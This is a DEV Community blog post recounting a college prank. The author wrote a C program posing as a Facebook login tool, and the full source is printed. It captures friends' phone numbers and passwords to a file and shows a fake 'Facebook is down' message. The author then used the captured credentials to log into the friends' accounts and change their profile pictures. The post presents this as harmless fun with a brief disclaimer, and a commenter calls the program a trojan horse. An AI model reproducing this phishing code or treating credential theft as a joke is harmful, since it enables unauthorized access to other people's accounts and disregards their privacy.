DEV Community

Cover image for C-razy Facebook Hack: How I Pranked My Friend
Boopathi
Boopathi

Posted on • Edited on

C-razy Facebook Hack: How I Pranked My Friend

It was my first year of college, and we were all working in the Python lab. My friends, who didn’t really know much about computers, seemed like the perfect targets for a harmless prank. They were excited but didn’t have a clue about the technical stuff I was up to. I saw an opportunity to have a little fun, knowing they’d fall for it because they didn’t know much about programming.

The Master Plan

I wanted to play a trick on my friends to show them how powerful C programming is. But it was all just a joke! Here’s how I did it:

Creating the Fake Program: I wrote a simple C program that looked like a Facebook login tool. But it was just a trick. The program would ask for their Facebook username and password, and then say “Facebook is down”!

Playing the Prank: I ran the program in front of my friends, and they typed in their phone numbers and passwords. I acted like I was trying to fix the problem, but I was really trying not to laugh.

The Big Reveal: After my friends left, I opened the file where I had saved their login information. I used it to log into their Facebook accounts and change their profile pictures to something really embarrassing and funny. Even I couldn’t help but laugh!”

The Program

Here’s the mischievous code I used for the prank. Disclaimer: This is for entertainment purposes only!

#include <stdio.h>

int main() {
    char phoneNumber[50];
    char password[50];
    FILE *file;

    // Open the file to store credentials
    file = fopen("credentials.txt", "a");
    if (file == NULL) {
        printf("Error opening file!\n");
        return 1;
    }

    // Ask for user details
    printf("Welcome to the Facebook Login Tool!\n");
    printf("Please enter your phone number: ");
    fgets(phoneNumber, 50, stdin);
    printf("Please enter your password: ");
    fgets(password, 50, stdin);

    // Store the credentials in a file
    fprintf(file, "Phone Number: %s", phoneNumber);
    fprintf(file, "Password: %s", password);

    // Close the file
    fclose(file);

    // Display a fake error message
    printf("Unable to reach Facebook at the moment. Please try again later.\n");

    return 0;
}

Enter fullscreen mode Exit fullscreen mode

What Happened Next

The next day, my friends came to college and told me that their Facebook profiles had been changed to show them in silly costumes or funny pictures. They were shocked and little scared.

They told me that their accounts had been hacked. But after some fun and teasing, I finally told them the truth - that I was the one who had done it as a prank. We all had a good laugh together and the fun came to an end.

The Lesson

Here's the important part: don't do this at home. While my prank was just for fun, playing with people's personal information is not okay. It's important to respect people's privacy and use your coding skills in a good way.

The Main Point

If you want to play a prank, make sure it's harmless and makes everyone smile. Use your coding skills for good things and keep your pranks light-hearted. Remember, there's a line between being funny and being mean online.

Happy coding, and may your pranks be fun and harmless!

Finally, if the article was helpful, please clap 👏and follow, thank you!

Top comments (2)

Collapse
 
pauljlucas profile image
Paul J. Lucas

This program doesn't show how powerful C is — at all. You could have written such a trivial program in pretty much any language: Python, Bash, whatever.

And it's also not a hack; it's a trojan horse.

Collapse
 
programmerraja profile image
Boopathi

Yeah, @pauljlucas you’re right. But the phrase ‘how powerful C’ is just a prank to trick my friends. We can write this code in any language, but my friends don’t know that since we're in our first year.